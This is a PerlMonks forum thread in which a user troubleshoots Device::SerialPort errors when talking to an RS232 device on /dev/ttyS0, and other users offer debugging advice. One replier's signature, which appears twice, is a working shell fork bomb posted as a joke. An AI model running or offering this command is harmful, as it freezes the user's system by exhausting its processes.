wee_chang2002 has asked for the wisdom of the Perl Monks concerning the following question:

hi there i need use a funcation that send command to COM1, and my RS232 device will repond some data back, i just wrote a simple script on redhat8.0 like this:
use Device::SerialPort; $port = new Device::SerialPort ( "/dev/ttyS0"); $port->baudrate(9600); $port->databits(7); $port->stopbits(1); $port->parity("odd");
then i just run:
[root@linux5 root]# perl -c tt.pl tt.pl syntax OK [root@linux5 root]# perl -W tt.pl (in cleanup) Can't call method "setcflag" on an undefined valu +e at /usr/lib/perl5/site_perl/5.8.0/Device/SerialPort.pm line 541 dur +ing global destruction.
can anyone tell me what is wrong??

update (broquaint): added <code> tags

Replies are listed 'Best First'.
Re: send command to RS232, then get data from RS232
by hossman (Prior) on Dec 25, 2002 at 08:26 UTC

    I've never used this module, but i'm going to make some guesses/suggestions based on intuition...

    1. You may have a permissions problem, check what the file permissions are for /dev/ttyS0.
    2. You should follow the examples from the perldocs more closely, it says that you should check new for a true return value, otherwise something may have gone wrong, change it to...
      $port = new Device::SerialPort ( "/dev/ttyS0") or die "can't open port: $!";
    3. I don't know of any perl implimentation that supports a "-W" option, i think you ment to use "-w."
Re: send command to RS232, then get data from RS232
by pg (Canon) on Dec 25, 2002 at 18:25 UTC
    This is a bug in the Device::SerialPort package. The Device::SerialPort package will internally new a POSIX termios object, and store the object in $self->{TERMIOS}. In your case, that new failed, thus $self->{TERMIOS} is undef.

    But later when it call $self->{TERMIOS}->setcflag, it didn't first check whether $self->{TERMIOS} is defined.

    I suggest you report this bug, and you should suggest the author to make more strict checkings in his package.
Re: send command to RS232, then get data from RS232
by ibanix (Hermit) on Dec 25, 2002 at 18:12 UTC
    I have also never used this module, so the following is also a guess:

    root@linux5 root# perl -W tt.pl (in cleanup) Can't call method "setcflag" on an undefined value at /us +r/lib/perl5/site_perl/5.8.0/Device/SerialPort.pm line 541 during glob +al destruction.
    It appears that SerialPort.pm is looking for something to call the "setcflag" method on; furthermore it's being done "during global destruction", which makes me think it's being called during object destruction (that is, as a default destructor).

    My questions would be:

    * Is this all the code you have?
    * Does the Device::SerialPort mention anything about the creation and destruction of Device::SerialPort objects and any called methods?
    * Are you sure you need to run as root? That can be dangerous.


    Hope this helps,
    ibanix

    $ echo '$0 & $0 &' > foo; chmod a+x foo; foo;
Re: send command to RS232, then get data from RS232
by wee_chang2002 (Initiate) on Dec 26, 2002 at 04:08 UTC
    thanx to hossman,ibanix,pg
    its seens no way to do this kind job,now i think an other way: just call a system tool to send command to rs232, then get the respond back into perl script, can anyone tell me what kind tools can just send command and get respond in console? not like kermit or miniterm will chang the term and cant get the respond in console

    thanx thanx thanx...
      I don't think your idea is flawed.

      You need to check that your Device::SerialPort object was properly created; and that you have the right permissions to access /dev/ttyS0. Once that's working, you should be able to get the rest working. Don't give up now! :-)

      And yes, you should email the package owner and inform him of this bug, as the poster above suggested.

      $ echo '$0 & $0 &' > foo; chmod a+x foo; foo;
Re: now, get new problam :P
by wee_chang2002 (Initiate) on Jan 03, 2003 at 08:15 UTC
    hi, me again..
    i found why i cant use perl -MCPAN -e 'install Device::SerialPort' and get an error message like i posted,
    becoz this module need to run h2ph command, and i found in RedHat & Mandrake OS, had2 file maybe strange, the strange file are /usr/include/asm/string-486.h and checksum.h i just move these 2 file to somewhee else then run h2ph -r -l . seen ok now, and i try a script from demo script:
    ===========================================================
    #!/usr/bin/perl -w
    use strict;
    use vars qw( $OS_win $ob $file );
    use Device::SerialPort;

    $file = 'ttyS0.cfg';
    $ob = Device::SerialPort->start ($file) ||
    die "Can't open serial port from $file: $^E\n";

    my $baud = $ob->baudrate;
    print "baud from configuration: $baud\n";

    my $databits = $ob->databits;
    print "databits from configuration: $databits\n";

    my $parity = $ob->parity;
    print "parity from configuration: $parity\n";

    my $stopbits = $ob->stopbits;
    print "stopbits from configuration: $stopbits\n";
    ===========================================================
    this was ok now, but my new problam is i read the DESCRIPTION on http://search.cpan.org/author/COOK/Device-SerialPort-0.12/SerialPort.pm hard to understand what cammand can let me send a command to /dev/ttyS0 and get the respond,
    can someone help me!